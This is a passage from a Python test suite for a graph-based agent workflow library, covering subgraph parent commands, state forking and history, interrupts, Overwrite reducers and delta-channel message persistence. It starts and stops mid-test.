["sub_child_3"]} + + sub_builder = StateGraph(State) + sub_builder.add_node("sub_child_1", sub_child_1) + sub_builder.add_node("sub_child_2", sub_sub_graph, destinations=("sub_child_3",)) + sub_builder.add_node("sub_child_3", sub_child_3) + sub_builder.add_edge(START, "sub_child_1") + sub_builder.add_edge("sub_child_1", "sub_child_2") + sub_graph = sub_builder.compile(name="sub_graph", checkpointer=subgraph_persist) + + # Level 1: Main graph containing Level 2 + def child_1(state): + return {"dialog_state": ["child_1"]} + + builder = StateGraph(State) + builder.add_node("child_1", child_1) + builder.add_node("child_2", sub_graph) + builder.add_edge(START, "child_1") + builder.add_edge("child_1", "child_2") + graph = builder.compile(name="main_graph", checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": 1}} + + result = graph.invoke(input={"dialog_state": ["init"]}, config=config) + + # Command.PARENT from sub_sub_child jumps to sub_child_3 in immediate parent + # State duplication occurs due to operator.add merging behavior + assert result == { + "dialog_state": [ + "init", + "child_1", + "init", + "child_1", + "sub_child_1", + "sub_sub_child", + "sub_child_3", + ] + } + + +@pytest.mark.parametrize("with_timeout", [True, False]) +def test_timeout_with_parent_command( + sync_checkpointer: BaseCheckpointSaver, with_timeout: bool +) -> None: + """Test that parent commands are properly propagated during timeouts.""" + + class State(TypedDict): + value: str + + def parent_command_node(state: State) -> State: + time.sleep(0.1) # Add some delay before raising + return Command(graph=Command.PARENT, goto="test_cmd", update={"key": "value"}) + + builder = StateGraph(State) + builder.add_node("parent_cmd", parent_command_node) + builder.set_entry_point("parent_cmd") + graph = builder.compile(checkpointer=sync_checkpointer) + if with_timeout: + graph.step_timeout = 1 + + # Should propagate parent command, not timeout + thread1 = {"configurable": {"thread_id": "1"}} + with pytest.raises(ParentCommand) as exc_info: + graph.invoke({"value": "start"}, thread1) + assert exc_info.value.args[0].goto == "test_cmd" + assert exc_info.value.args[0].update == {"key": "value"} + + +def test_fork_and_update_task_results(sync_checkpointer: BaseCheckpointSaver) -> None: + """Test forking and updating task results with state history.""" + + def checkpoint(values: dict[str, Any]): + return ("checkpoint", {"values": values}) + + def task(name: str, result: Any): + return ("task", {"name": name, "result": result}) + + def get_tree(history: list[StateSnapshot]) -> list: + """Build a tree structure from state history for comparison.""" + if not history: + return [] + + # Build a tree structure similar to renderForks + node_map: dict[str, dict] = {} + root_nodes: list[dict] = [] + + # Second pass: establish parent-child relationships + for item in reversed(history): + checkpoint_id = item.config["configurable"]["checkpoint_id"] + parent_checkpoint_id = ( + item.parent_config["configurable"]["checkpoint_id"] + if item.parent_config + else None + ) + node_map[checkpoint_id] = {"item": item, "children": []} + + parent = node_map.get(parent_checkpoint_id) + (parent["children"] if parent else root_nodes).append( + node_map[checkpoint_id] + ) + + def node_to_tree(node: dict) -> list: + """Convert a node to tree structure.""" + result = [ + checkpoint(node["item"].values), + ] + [ + task(task_info.name, task_info.result) + for task_info in node["item"].tasks + ] + + if len(node["children"]) > 1: + branches = [node_to_tree(child) for child in node["children"]] + return result + [branches] + elif len(node["children"]) == 1: + return result + node_to_tree(node["children"][0]) + else: + return result + + if len(root_nodes) == 1: + # Process all root nodes + return node_to_tree(root_nodes[0]) + + elif len(root_nodes) > 1: + # Multiple root nodes - treat as branches + branches = [node_to_tree(node) for node in root_nodes] + return branches + else: + return [] + + class State(TypedDict): + name: Annotated[str, lambda a, b: " > ".join([a, b]) if a else b] + + # Define the graph with a sequence of nodes + def one(state: State) -> Command: + return Command(goto=[Send("two", {})], update={"name": "one"}) + + def two(state: State) -> State: + return {"name": "two"} + + def three(state: State) -> State: + return {"name": "three"} + + graph = ( + StateGraph(State) + .add_node("one", one) + .add_node("two", two) + .add_node("three", three) + .add_edge(START, "one") + .add_edge("one", "two") + .add_edge("two", "three") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + history: list[StateSnapshot] = [] + + # Initial run + graph.invoke({"name": "start"}, config) + history = list(graph.get_state_history(config)) + + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ] + + # Update the start state + graph.invoke( + None, + graph.update_state( + history[4].config, + values=[StateUpdate(values={"name": "start*"}, as_node="__start__")], + as_node="__copy__", + ), + ) + + history = list(graph.get_state_history(config)) + assert get_tree(history) == [ + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start*"}), + checkpoint({"name": "start*"}), + task("one", {"name": "one"}), + checkpoint({"name": "start* > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one > two > two > three"}), + ], + ] + + # Fork from task "one" + # Start from the checkpoint that has the task "one" + assert history[3].values == {"name": "start*"} + assert len(history[3].tasks) == 1 + assert history[3].tasks[0].name == "one" + + graph.invoke( + None, + graph.update_state( + history[3].config, + [StateUpdate(values={"name": "one*"}, as_node="one")], + "__copy__", + ), + ) + + history = list(graph.get_state_history(config)) + assert get_tree(history) == [ + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": ""}), + task("__start__", {"name": "start*"}), + [ + [ + checkpoint({"name": "start*"}), + task("one", {"name": "one"}), + checkpoint({"name": "start* > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one > two > two > three"}), + ], + [ + checkpoint({"name": "start*"}), + task("one", {"name": "one*"}), + checkpoint({"name": "start* > one*"}), + task("two", {"name": "two"}), + checkpoint({"name": "start* > one* > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start* > one* > two > three"}), + ], + ], + ], + ] + + config = {"configurable": {"thread_id": "2"}} + + # Initialize the thread once again + graph.invoke({"name": "start"}, config) + history = list(graph.get_state_history(config)) + + # Fork from task "two" + # Start from the checkpoint that has the task "two" + assert history[2].values == {"name": "start > one"} + + graph.invoke( + None, + graph.update_state( + history[2].config, + [ + StateUpdate(values={"name": "two"}, as_node="two"), + StateUpdate(values={"name": "two"}, as_node="two"), + ], + "__copy__", + ), + ) + + history = list(graph.get_state_history(config)) + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + ], + ] + + # Fork task three + assert history[1].values == {"name": "start > one > two > two"} + assert len(history[1].tasks) == 1 + assert history[1].tasks[0].name == "three" + + graph.invoke( + None, + graph.update_state( + history[1].config, + [StateUpdate(values={"name": "three*"}, as_node="three")], + "__copy__", + ), + ) + + history = list(graph.get_state_history(config)) + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + [ + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three*"}), + checkpoint({"name": "start > one > two > two > three*"}), + ], + ], + ], + ], + ] + + # Regenerate task three + assert history[3].values == {"name": "start > one > two > two"} + assert len(history[3].tasks) == 1 + assert history[3].tasks[0].name == "three" + + graph.invoke(None, graph.update_state(history[3].config, None, "__copy__")) + + history = list(graph.get_state_history(config)) + assert get_tree(history) == [ + checkpoint({"name": ""}), + task("__start__", {"name": "start"}), + checkpoint({"name": "start"}), + task("one", {"name": "one"}), + [ + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one"}), + task("two", {"name": "two"}), + task("two", {"name": "two"}), + [ + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three*"}), + checkpoint({"name": "start > one > two > two > three*"}), + ], + [ + checkpoint({"name": "start > one > two > two"}), + task("three", {"name": "three"}), + checkpoint({"name": "start > one > two > two > three"}), + ], + ], + ], + ], + ] + + +def test_subgraph_streaming_sync() -> None: + """Test subgraph streaming when used as a node in sync version""" + + # Create a fake chat model that returns a simple response + model = GenericFakeChatModel(messages=iter(["The weather is sunny today."])) + + # Create a subgraph that uses the fake chat model + def call_model_node(state: MessagesState, config: RunnableConfig) -> MessagesState: + """Node that calls the model with the last message.""" + messages = state["messages"] + last_message = messages[-1].content if messages else "" + response = model.invoke([("user", last_message)], config) + return {"messages": [response]} + + # Build the subgraph + subgraph = StateGraph(MessagesState) + subgraph.add_node("call_model", call_model_node) + subgraph.add_edge(START, "call_model") + compiled_subgraph = subgraph.compile() + + class SomeCustomState(TypedDict): + last_chunk: NotRequired[str] + num_chunks: NotRequired[int] + + # Will invoke a subgraph as a function + def parent_node(state: SomeCustomState, config: RunnableConfig) -> dict: + """Node that runs the subgraph.""" + msgs = {"messages": [("user", "What is the weather in Tokyo?")]} + events = [] + for event in compiled_subgraph.stream(msgs, config, stream_mode="messages"): + events.append(event) + ai_msg_chunks = [ai_msg_chunk for ai_msg_chunk, _ in events] + return { + "last_chunk": ai_msg_chunks[-1], + "num_chunks": len(ai_msg_chunks), + } + + # Build the main workflow + workflow = StateGraph(SomeCustomState) + workflow.add_node("subgraph", parent_node) + workflow.add_edge(START, "subgraph") + compiled_workflow = workflow.compile() + + # Test the basic functionality + result = compiled_workflow.invoke({}) + + assert result["last_chunk"].content == "today." + assert result["num_chunks"] == 9 + + +def test_get_graph_nonterminal_last_step_source(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + messages: list[str] + + def chatbot_node(state: State) -> State: + return {"messages": state["messages"] + ["chatbot"]} + + def tools_node(state: State) -> State: + return {"messages": state["messages"] + ["tools"]} + + def human_node(state: State) -> State: + return {"messages": state["messages"] + ["human"]} + + def tools_condition(_: State) -> str: + return "tools" + + def end_condition(_: State) -> str: + return "chatbot" + + workflow = StateGraph(State) + workflow.add_node("chatbot", chatbot_node) + workflow.add_node("tools", tools_node) + workflow.add_node("human", human_node) + + workflow.add_edge(START, "human") + workflow.add_edge("tools", "chatbot") + + workflow.add_conditional_edges( + "chatbot", tools_condition, {"tools": "tools", "human": "human"} + ) + workflow.add_conditional_edges( + "human", end_condition, {"chatbot": "chatbot", END: END} + ) + + app = workflow.compile() + graph = app.get_graph() + graph_json = graph.to_json() + + assert json.dumps(graph_json, indent=2, sort_keys=True) == snapshot + + +def test_null_resume_disallowed_with_multiple_interrupts( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + text_1: str + text_2: str + + def human_node_1(state: State): + value = interrupt({"text_to_revise": state["text_1"]}) + return {"text_1": value} + + def human_node_2(state: State): + value = interrupt({"text_to_revise": state["text_2"]}) + return {"text_2": value} + + graph_builder = StateGraph(State) + graph_builder.add_node("human_node_1", human_node_1) + graph_builder.add_node("human_node_2", human_node_2) + + # Add both nodes in parallel from START + graph_builder.add_edge(START, "human_node_1") + graph_builder.add_edge(START, "human_node_2") + + checkpointer = InMemorySaver() + graph = graph_builder.compile(checkpointer=checkpointer) + + thread_id = str(uuid.uuid4()) + config: RunnableConfig = {"configurable": {"thread_id": thread_id}} + graph.invoke( + {"text_1": "original text 1", "text_2": "original text 2"}, config=config + ) + + resume_map = { + i.id: f"resume for prompt: {i.value['text_to_revise']}" + for i in graph.get_state(config).interrupts + } + with pytest.raises( + RuntimeError, + match="When there are multiple pending interrupts, you must specify the interrupt id when resuming.", + ): + graph.invoke(Command(resume="singular resume"), config=config) + + assert graph.invoke(Command(resume=resume_map), config=config) == { + "text_1": "resume for prompt: original text 1", + "text_2": "resume for prompt: original text 2", + } + + +def test_interrupt_stream_mode_values(sync_checkpointer: BaseCheckpointSaver): + """Test that interrupts are surfaced on 'values' stream mode""" + + class State(TypedDict): + robot_input: str + human_input: str + + def robot_input_node(state: State) -> State: + return {"robot_input": "beep boop i am a robot"} + + def human_input_node(state: State) -> Command: + human_input = interrupt("interrupt") + return Command(update={"human_input": human_input}) + + builder = StateGraph(State) + builder.add_node(robot_input_node) + builder.add_node(human_input_node) + builder.add_edge(START, "robot_input_node") + builder.add_edge("robot_input_node", "human_input_node") + app = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + result = [*app.stream(State(), config, stream_mode=["updates", "values"])] + assert len(result) == 4 + assert result == [ + ("updates", {"robot_input_node": {"robot_input": "beep boop i am a robot"}}), + ("values", {"robot_input": "beep boop i am a robot"}), + ("updates", {"__interrupt__": (Interrupt(value="interrupt", id=AnyStr()),)}), + ( + "values", + { + "robot_input": "beep boop i am a robot", + "__interrupt__": (Interrupt(value="interrupt", id=AnyStr()),), + }, + ), + ] + resume_result = [ + *app.stream( + Command(resume="i am a human"), config, stream_mode=["updates", "values"] + ) + ] + assert resume_result == [ + ("values", {"robot_input": "beep boop i am a robot"}), + ("updates", {"human_input_node": {"human_input": "i am a human"}}), + ( + "values", + {"robot_input": "beep boop i am a robot", "human_input": "i am a human"}, + ), + ] + + +def test_supersteps_populate_task_results( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + num: int + text: str + + def double(state: State) -> State: + return {"num": state["num"] * 2, "text": state["text"] * 2} + + graph = ( + StateGraph(State) + .add_node("double", double) + .add_edge(START, "double") + .add_edge("double", END) + .compile(checkpointer=sync_checkpointer) + ) + + def first_task_result(history: list[StateSnapshot], node: str) -> Any: + for s in history: + for t in s.tasks: + if t.name == node: + return t.result + return None + + # reference run with invoke + ref_cfg = {"configurable": {"thread_id": "ref"}} + graph.invoke({"num": 1, "text": "one"}, ref_cfg) + ref_history = list(graph.get_state_history(ref_cfg)) + + ref_start_result = first_task_result(ref_history, "__start__") + ref_double_result = first_task_result(ref_history, "double") + assert ref_start_result == {"num": 1, "text": "one"} + assert ref_double_result == {"num": 2, "text": "oneone"} + + # using supersteps + bulk_cfg = {"configurable": {"thread_id": "bulk"}} + graph.bulk_update_state( + bulk_cfg, + [ + [StateUpdate(values={}, as_node="__input__")], + [StateUpdate(values={"num": 1, "text": "one"}, as_node="__start__")], + [StateUpdate(values={"num": 2, "text": "oneone"}, as_node="double")], + ], + ) + bulk_history = list(graph.get_state_history(bulk_cfg)) + + bulk_start_result = first_task_result(bulk_history, "__start__") + bulk_double_result = first_task_result(bulk_history, "double") + + assert bulk_start_result == ref_start_result == {"num": 1, "text": "one"} + assert bulk_double_result == ref_double_result == {"num": 2, "text": "oneone"} + + +def test_multiple_writes_same_channel_from_same_node( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that a node can write multiple times to the same channel and that writes are ordered, reduced, and reflected in streamed events and state history.""" + + class State(TypedDict): + foo: Annotated[str, lambda a, b: ", ".join([x for x in [a, b] if x])] + + def one(_: State) -> Command: + return Command(update=[("foo", "one.0"), ("foo", "one.1")]) + + def two(_: State) -> State: + return {"foo": "two"} + + graph = ( + StateGraph(State) + .add_node("one", one) + .add_node("two", two) + .add_edge(START, "one") + .add_edge("one", "two") + .add_edge("two", END) + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + events = [ + (ns, ev) + for ns, ev in graph.stream( + {"foo": "input"}, config, stream_mode=["updates", "tasks"] + ) + ] + + assert events == [ + ( + "tasks", + { + "id": AnyStr(), + "name": "one", + "input": {"foo": "input"}, + "triggers": ("branch:to:one",), + }, + ), + ("updates", {"one": [{"foo": "one.0"}, {"foo": "one.1"}]}), + ( + "tasks", + { + "id": AnyStr(), + "name": "one", + "error": None, + "result": {"foo": {"$writes": ["one.0", "one.1"]}}, + "interrupts": [], + }, + ), + ( + "tasks", + { + "id": AnyStr(), + "name": "two", + "input": {"foo": "input, one.0, one.1"}, + "triggers": ("branch:to:two",), + }, + ), + ("updates", {"two": {"foo": "two"}}), + ( + "tasks", + { + "id": AnyStr(), + "name": "two", + "error": None, + "result": {"foo": "two"}, + "interrupts": [], + }, + ), + ] + + def map_snapshot(s: StateSnapshot) -> dict: + return { + "tasks": [{"name": t.name, "result": t.result} for t in s.tasks], + "values": s.values, + } + + history = [map_snapshot(s) for s in graph.get_state_history(config)] + + assert history == [ + { + "tasks": [], + "values": {"foo": "input, one.0, one.1, two"}, + }, + { + "tasks": [{"name": "two", "result": {"foo": "two"}}], + "values": {"foo": "input, one.0, one.1"}, + }, + { + "tasks": [ + {"name": "one", "result": {"foo": {"$writes": ["one.0", "one.1"]}}} + ], + "values": {"foo": "input"}, + }, + { + "tasks": [{"name": "__start__", "result": {"foo": "input"}}], + "values": {"foo": ""}, + }, + ] + + +def test_send_with_untracked_value(sync_checkpointer: BaseCheckpointSaver): + """Test that Send objects work correctly with untracked values in state.""" + + class UnserializableResource: + def __init__(self, name: str): + self.name = name + self.lock = threading.Lock() + + class State(TypedDict): + messages: Annotated[list[str], operator.add] + session_resource: Annotated[UnserializableResource, UntrackedValue] + + def setup_node(state: State) -> State: + resource = UnserializableResource("test_session") + return {"messages": ["setup complete"], "session_resource": resource} + + def send_to_tool(state: State): + return [Send("tool_node", state)] + + def tool_node(state: State) -> State: + resource = state["session_resource"] + assert isinstance(resource, UnserializableResource) + assert resource.name == "test_session" + + new_resource = UnserializableResource("new_session") + + return { + "messages": [f"tool used resource: {resource.name}"], + "session_resource": new_resource, + } + + graph = StateGraph(State) + graph.add_node("setup", setup_node) + graph.add_node("tool_node", tool_node) + graph.add_edge(START, "setup") + graph.add_conditional_edges("setup", send_to_tool) + + app = graph.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + result = app.invoke({}, config) + + assert len(result["messages"]) == 2 + assert result["messages"][0] == "setup complete" + assert result["messages"][1] == "tool used resource: test_session" + assert result["session_resource"].name == "new_session" + + state = app.get_state(config) + assert "session_resource" not in state.values + + +def test_send_with_untracked_value_overlapping_keys( + sync_checkpointer: BaseCheckpointSaver, +): + """Test that Send objects work correctly with untracked values in state.""" + + class State(TypedDict): + dictionary: dict + session_resource: Annotated[str, UntrackedValue] + + def setup_node(state: State) -> State: + return {} + + def send_to_tool(state: State): + return [ + Send( + "tool_node", + { + "dictionary": {"session_resource": "legal_value"}, + "session_resource": "illegal_value", + }, + ) + ] + + def tool_node(state: State) -> State: + print(f"STATE: {state}") + assert state["dictionary"] == {"session_resource": "legal_value"} + assert state["session_resource"] == "illegal_value" + + return { + "dictionary": state["dictionary"], + "session_resource": "new_illegal_value", + } + + graph = StateGraph(State) + graph.add_node("setup", setup_node) + graph.add_node("tool_node", tool_node) + graph.add_edge(START, "setup") + graph.add_conditional_edges("setup", send_to_tool) + + app = graph.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + result = app.invoke({}, config) + + assert result["session_resource"] == "new_illegal_value" + state = app.get_state(config) + assert "session_resource" not in state.values + assert state.values.get("dictionary") == {"session_resource": "legal_value"} + + +@pytest.mark.parametrize("as_json", [False, True]) +def test_overwrite_sequential( + sync_checkpointer: BaseCheckpointSaver, as_json: bool +) -> None: + """Test a sequential chain of nodes where the last node uses Overwrite to bypass a reducer and write a value directly to the channel.""" + + class State(TypedDict): + messages: Annotated[list, operator.add] + + def node_a(state: State): + return {"messages": ["a"]} + + def node_b(state: State): + overwrite = {"__overwrite__": ["b"]} if as_json else Overwrite(["b"]) + return {"messages": overwrite} + + builder = StateGraph(State) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + result = graph.invoke({"messages": ["START"]}, config) + # a is overwritten by b + assert result == {"messages": ["b"]} + + +@pytest.mark.parametrize("as_json", [False, True]) +def test_overwrite_parallel( + sync_checkpointer: BaseCheckpointSaver, as_json: bool +) -> None: + """Test parallel nodes where max one node uses Overwrite to bypass a reducer and write a value directly to the channel.""" + + class State(TypedDict): + messages: Annotated[list, operator.add] + + def node_a(state: State): + return {"messages": ["a"]} + + def node_b(state: State): + overwrite = {"__overwrite__": ["b"]} if as_json else Overwrite(["b"]) + return {"messages": overwrite} + + def node_c(state: State): + return {"messages": ["c"]} + + def node_d(state: State): + return {"messages": ["d"]} + + builder = StateGraph(State) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_node("node_c", node_c) + builder.add_node("node_d", node_d) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_a", "node_c") + builder.add_edge("node_b", "node_d") + builder.add_edge("node_c", "node_d") + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + result = graph.invoke({"messages": ["START"]}, config) + # a, c are overwritten by b, then d is written + assert result == {"messages": ["b", "d"]} + + +@pytest.mark.parametrize("as_json", [False, True]) +def test_overwrite_parallel_error( + sync_checkpointer: BaseCheckpointSaver, as_json: bool +) -> None: + """Test parallel nodes where more than one node uses Overwrite to bypass a reducer and write a value directly to the channel. In this case, InvalidUpdateError should be raised.""" + + class State(TypedDict): + messages: Annotated[list, operator.add] + + def node_a(state: State): + return {"messages": ["a"]} + + def node_b(state: State): + overwrite = {"__overwrite__": ["b"]} if as_json else Overwrite(["b"]) + return {"messages": overwrite} + + def node_c(state: State): + overwrite = {"__overwrite__": ["c"]} if as_json else Overwrite(["c"]) + return {"messages": overwrite} + + builder = StateGraph(State) + builder.add_node("node_a", node_a) + builder.add_node("node_b", node_b) + builder.add_node("node_c", node_c) + builder.add_edge(START, "node_a") + builder.add_edge("node_a", "node_b") + builder.add_edge("node_a", "node_c") + builder.add_edge("node_b", END) + builder.add_edge("node_c", END) + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + with pytest.raises( + InvalidUpdateError, match="Can receive only one Overwrite value per super-step." + ): + graph.invoke({"messages": ["START"]}, config) + + +def test_fork_does_not_apply_pending_writes( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that forking with update_state does not apply pending writes from original execution.""" + + class State(TypedDict): + value: Annotated[int, operator.add] + + def node_a(state: State) -> State: + return {"value": 10} + + def node_b(state: State) -> State: + return {"value": 100} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + thread1 = {"configurable": {"thread_id": "1"}} + graph.invoke({"value": 1}, thread1) + + history = list(graph.get_state_history(thread1)) + checkpoint_before_a = next(s for s in history if s.next == ("node_a",)) + + fork_config = graph.update_state( + checkpoint_before_a.config, {"value": 20}, as_node="node_a" + ) + + # Continue from fork (should run node_b) + result = graph.invoke(None, fork_config) + + # Should be: 1 (input) + 20 (forked node_a) + 100 (node_b) = 121 + assert result == {"value": 121} + + +async def test_delta_channel_end_to_end_inmemory() -> None: + """Full graph run: DeltaChannel accumulates correctly across multiple turns.""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def respond(state: State) -> dict: + n = len(state["messages"]) + return {"messages": [AIMessage(content=f"reply-{n}", id=f"ai-{n}")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + graph = builder.compile(checkpointer=InMemorySaver()) + + config = {"configurable": {"thread_id": "diff-test-1"}} + + # Turn 1 + graph.invoke({"messages": [HumanMessage(content="hello", id="h1")]}, config) + # Turn 2 + graph.invoke({"messages": [HumanMessage(content="world", id="h2")]}, config) + # Turn 3 + graph.invoke({"messages": [HumanMessage(content="bye", id="h3")]}, config) + + state = graph.get_state(config) + msgs = state.values["messages"] + # 3 human + 3 AI = 6 total + assert len(msgs) == 6, f"expected 6 messages, got {len(msgs)}: {msgs}" + assert msgs[0].content == "hello" + assert msgs[2].content == "world" + assert msgs[4].content == "bye" + assert msgs[1].content == "reply-1" + assert msgs[3].content == "reply-3" + assert msgs[5].content == "reply-5" + + +async def test_delta_channel_time_travel() -> None: + """Time-travel back to turn-1 checkpoint and resume; continuation must not include turn-2 deltas.""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + counter = {"n": 0} + + def respond(state: State) -> dict: + counter["n"] += 1 + return { + "messages": [ + AIMessage(content=f"ai-{counter['n']}", id=f"ai-{counter['n']}") + ] + } + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + saver = InMemorySaver() + graph = builder.compile(checkpointer=saver) + + config = {"configurable": {"thread_id": "diff-time-travel"}} + + # Run 2 turns: h1→ai-1, h2→ai-2 + graph.invoke({"messages": [HumanMessage(content="h1", id="h1")]}, config) + graph.invoke({"messages": [HumanMessage(content="h2", id="h2")]}, config) + + # Find the checkpoint after turn 1 (2 messages: h1 + ai-1) + history = list(graph.get_state_history(config)) + after_turn1 = next(h for h in history if len(h.values.get("messages", [])) == 2) + + assert len(after_turn1.values["messages"]) == 2 + assert after_turn1.values["messages"][0].content == "h1" + assert after_turn1.values["messages"][1].content == "ai-1" + + # Resume from turn-1 checkpoint: inject h3, expect 3 messages total (h1, ai-1, ai-N) + # NOT 5 messages (turn-2 deltas must not bleed into the resumed run) + result = graph.invoke( + {"messages": [HumanMessage(content="h3", id="h3")]}, + after_turn1.config, + ) + msgs = result["messages"] + # Should be: h1, ai-1, h3, ai-N — 4 messages total + assert len(msgs) == 4, ( + f"expected 4 messages after time-travel resume, got {len(msgs)}: {msgs}" + ) + assert msgs[0].content == "h1" + assert msgs[1].content == "ai-1" + assert msgs[2].content == "h3" + + +async def test_delta_channel_remove_message_end_to_end() -> None: + """RemoveMessage inside a DeltaChannel graph must persist and reload correctly.""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def respond(state: State) -> dict: + return {"messages": [AIMessage(content="reply", id="ai-1")]} + + def delete_first(state: State) -> dict: + # removes the first message + return {"messages": [RemoveMessage(id=state["messages"][0].id)]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_node("delete_first", delete_first) + builder.add_edge(START, "respond") + builder.add_edge("respond", "delete_first") + graph = builder.compile(checkpointer=InMemorySaver()) + + config = {"configurable": {"thread_id": "diff-remove-test"}} + graph.invoke({"messages": [HumanMessage(content="hello", id="h1")]}, config) + + state = graph.get_state(config) + msgs = state.values["messages"] + # h1 was removed, only ai-1 should remain + assert len(msgs) == 1, f"expected 1 message, got {len(msgs)}: {msgs}" + assert msgs[0].id == "ai-1" + + # A subsequent turn must reconstruct from the checkpoint correctly + graph.invoke({"messages": [HumanMessage(content="again", id="h2")]}, config) + state = graph.get_state(config) + msgs = state.values["messages"] + # ai-1 + h2 + ai-1(second reply, same id overwrites) + h2 removed + # more simply: after second run we expect ai-1 updated + h2 remaining minus deleted h2 + # just assert h1 is still gone + assert all(m.id != "h1" for m in msgs), ( + "h1 should still be absent after second turn" + ) + + +async def test_delta_channel_update_by_id_end_to_end() -> None: + """Updating a message by ID via DeltaChannel must persist and reload correctly.""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def update_msg(state: State) -> dict: + # re-send h1 with updated content + return {"messages": [HumanMessage(content="updated", id="h1")]} + + builder = StateGraph(State) + builder.add_node("update_msg", update_msg) + builder.add_edge(START, "update_msg") + graph = builder.compile(checkpointer=InMemorySaver()) + + config = {"configurable": {"thread_id": "diff-update-id-test"}} + graph.invoke({"messages": [HumanMessage(content="original", id="h1")]}, config) + + state = graph.get_state(config) + msgs = state.values["messages"] + assert len(msgs) == 1, f"expected 1 message, got {len(msgs)}: {msgs}" + assert msgs[0].content == "updated" + assert msgs[0].id == "h1" + + # Second turn: verify the updated state is the base for further accumulation + graph.invoke({"messages": [HumanMessage(content="new", id="h2")]}, config) + state = graph.get_state(config) + msgs = state.values["messages"] + ids = [m.id for m in msgs] + assert "h1" in ids # h1 persists (updated, not duplicated) + assert "h2" in ids + assert ids.count("h1") == 1, "h1 must not be duplicated" + + +async def test_delta_channel_durability_exit_stores_snapshot() -> None: + """DeltaChannel must reload from a durability='exit' checkpoint.""" + + class State(TypedDict): + messages: 